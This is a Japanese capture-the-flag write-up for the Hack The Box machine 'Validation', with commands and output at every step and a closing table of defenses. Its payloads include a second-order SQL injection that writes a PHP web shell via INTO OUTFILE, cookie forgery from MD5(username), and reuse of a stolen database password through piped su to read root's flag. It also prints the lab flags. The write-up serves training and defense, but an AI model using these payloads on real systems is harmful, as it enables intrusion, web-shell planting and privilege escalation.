Hack The BoxのWriteup(Validation)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Validation — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 4566, 8080
→
“UHC” 登録フォーム
username/country
→
Second-Order SQLi
countryが/account.php表示時に発火
→
UNION SELECT INTO OUTFILE
PHP Webシェル書込
→
www-data RCE → user.txt ✓
→
config.php窃取
DBパスワード
→
パスワード再利用
su root
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.235
nmap -sV -sC -p 22,80,4566,8080 10.129.95.235
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.48 (Debian)
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ヒント: SSHのバナーはUbuntuだが、 Webサーバー(ポート80)のバナーはDebian——OSディストリビューション 表記が食い違っている。これはWebアプリがDockerコンテナ内(Debianベース)で 動作し、ホストOS(Ubuntu)とは別環境であることを示唆する典型的な手がかり。 ポート4566/8080は未認証アクセス不可(403/502)のため、本番の攻撃対象は ポート80のPHPアプリに絞られる。

トップページの確認 — UHC登録フォーム

BASH
curl -s http://10.129.95.235/ | grep -i "title\|form\|input"
RESULT (抜粋)
<h2>Join the UHC - September Qualifiers</h2>
<form method="POST">
  <input type="text" name="username" placeholder="Username">
  <select id="country" name="country">
    <option value="Brazil">Brazil</option>
    <option value="Afganistan">Afghanistan</option>
    ... (国名ドロップダウンリスト、100件以上) ...
  </select>
</form>
ℹ️
「UHC(Ultra Hardcore、Minecraft系大会)参加登録」という体のPHPアプリ。 usernameとcountry(ドロップダウン選択)をPOSTすると アカウントが作成され、/account.phpへリダイレクトされる想定。
PHASE 2

Second-Order SQL Injection の発見

countryパラメータの特異な挙動

NOTE
countryはHTML上はドロップダウン(select)で固定値のみ選択可能に見えるが、
POSTパラメータとしては任意の文字列を送信できる(クライアント側制限は
サーバー側検証を保証しない)。さらに重要なのは、このアプリの脆弱性は
「登録時」ではなく「account.phpで一覧表示する時」に初めて country 値が
SQLクエリへ組み込まれて実行される、という**Second-Order(二次)SQLi**
である点。登録リクエスト自体は単なるパラメータ化されたINSERTで安全に
見えるため、一見SQLi耐性があるように誤認しやすい。
BASH (正規の登録リクエストでcookieの仕組みを確認)
curl -s -i -c cookies.txt -X POST http://10.129.95.235/ \
  --data-urlencode "username=testuser" \
  --data-urlencode "country=Brazil"
RESULT
Set-Cookie: user=<MD5(username)の16進数32文字>; path=/
Location: /account.php
🚨
重要発見: 発行されるCookie userの値は MD5(username)そのもの(例: md5("testuser"))。 つまりCookieを自分で計算して偽造・再利用できる。 /account.phpはこのCookie値に対応するユーザーの countryをDBから取り出しSELECT文へ文字列結合で 埋め込んで表示する——ここがSQLi発火ポイント。
PHASE 3

UNION SELECT INTO OUTFILE による Webシェル設置 & user.txt取得

悪意あるcountry値で登録

NOTE
MySQLの INTO OUTFILE 句を使い、UNION SELECTで返す文字列
(PHP Webシェルのソースコード)をそのままファイルとしてWebルート直下へ
書き出させる。UNIONの列数は1列で一致させる必要がある
(/account.phpのSELECT文が1列のみ取得している前提)。
BASH (本検証で実際に使用したペイロード)
curl -s -i -c cookies.txt -X POST http://10.129.95.235/ \
  --data-urlencode "username=kc670abb" \
  --data-urlencode "country=Brazil' UNION SELECT \"<?php system(\$_REQUEST['cmd']); ?>\" INTO OUTFILE '/var/www/html/kc670abb.php'-- -"
ℹ️
Webシェルのファイル名はkc<ランダム6桁hex>.phpのようにランダム化する。 MySQLのINTO OUTFILEは出力先ファイルが既に存在すると エラーになり再実行できないため、毎回ユニークな名前を使うことで この制約を回避する。

account.phpを開いてSQLiを発火させる

BASH (登録時に発行されたCookieでaccount.phpへアクセス)
curl -s -b cookies.txt -b "user=$(echo -n 'kc670abb' | md5sum | cut -d' ' -f1)" \
  http://10.129.95.235/account.php
✅
この瞬間にaccount.php内部のSELECT文へcountry値が 組み込まれて実行され、INTO OUTFILEが発火する。登録リクエスト 自体では何も書き込まれず、account.phpへのアクセス時点で初めて SQLインジェクションが成立するのがSecond-Order SQLiの特徴。

Webシェル経由でRCE確認 & user.txt取得

BASH
curl -s --data-urlencode "cmd=id" http://10.129.95.235/kc670abb.php
RESULT (本検証の実際の出力)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH
curl -s --data-urlencode "cmd=cat /home/htb/user.txt" \
  http://10.129.95.235/kc670abb.php
RESULT
de9c1c8095f8d534d24c558c28402a35
user.txt — /home/htb/user.txt (www-data権限で読取)
de9c1c8095f8d534d24c558c28402a35
PHASE 4

DBパスワード再利用 — root.txt取得

config.phpの読取

BASH
curl -s --data-urlencode "cmd=cat /var/www/html/config.php" \
  http://10.129.95.235/kc670abb.php
RESULT (本検証の実際の出力)
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>
✅
MySQLユーザーuhcのパスワードuhc-9qual-global-pwを取得。

rootでのパスワード再利用を試行

NOTE
www-dataシェルは対話型TTYを持たないため、通常の su コマンドはパスワード
プロンプトを標準入力経由で受け取れない。パスワードをパイプ経由で
su に渡すことで非対話的にパスワード認証を通す。
BASH
curl -s --data-urlencode \
  'cmd=echo "uhc-9qual-global-pw" | su -c "cat /root/root.txt" root 2>&1' \
  http://10.129.95.235/kc670abb.php
RESULT (本検証の実際の出力)
Password: a9c45869f79e01f5501dc8398da58460
✅
root化成功! データベース用パスワードが OSアカウントrootのパスワードとしてそのまま再利用されていた。 suのパスワードプロンプト文字列(Password:)に続けて コマンド出力(root.txtの内容)がそのまま返ってきている。
root.txt — DBパスワードのsu root再利用
a9c45869f79e01f5501dc8398da58460
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — /home/htb/user.txt (www-data権限で読取)
de9c1c8095f8d534d24c558c28402a35
root.txt — DBパスワードのsu root再利用
a9c45869f79e01f5501dc8398da58460

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Second-Order SQL Injection 登録フォーム country パラメータ → /account.php 任意SQL実行、ファイル書込(INTO OUTFILE) Critical 登録時ではなく表示時にSQLが組み立てられる二段階構造を利用しUNION SELECTでPHP Webシェルを書き出す
MD5(username) = 予測可能なCookie セッション識別用 user Cookie 任意アカウントへのなりすまし High ユーザー名からMD5を自前計算することでCookieを偽造・再利用
設定ファイルの平文パスワード + 再利用 config.php の DB パスワード ↔ OSアカウント root 権限昇格 (root) High Webシェルでconfig.phpを読み、同一パスワードでsu rootが成立

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, UHC登録フォーム発見22/ssh, 80/http (OS表記の食い違いからDockerコンテナを推測)
2脆弱性解析Cookie=MD5(username)の発見、Second-Order構造の把握country値が表示時にSQL実行されると判明
3RCEUNION SELECT INTO OUTFILE → Webシェル → id/user.txtuser.txt (www-data経由htb)
4権限昇格config.php窃取 → パスワード再利用 su rootroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー保存値(country)が表示時に文字列結合でSQLへ組み込まれている(Second-Order SQLi) INSERT/SELECT双方でプリペアドステートメント(パラメータ化クエリ)を徹底する。「登録時に安全だから表示時も安全」とは限らない点を常に意識する。
セッション識別子が予測可能なハッシュ(MD5(username))で構成されている セッションIDは暗号学的に安全な乱数で生成し、推測・再現が不可能な値にする。
データベース接続パスワードがOSアカウント(root)のパスワードと同一 用途ごとに完全に独立したパスワードを発行し、パスワードの使い回しを組織的に禁止する。
MySQLユーザーにFILE権限が付与され、Webルートへの書込(INTO OUTFILE)が可能 アプリケーション用DBユーザーには必要最小限の権限のみ付与し、FILE権限やWebルートへの書込権限は原則与えない。
HackTheBox: Validation | 完全攻略レポート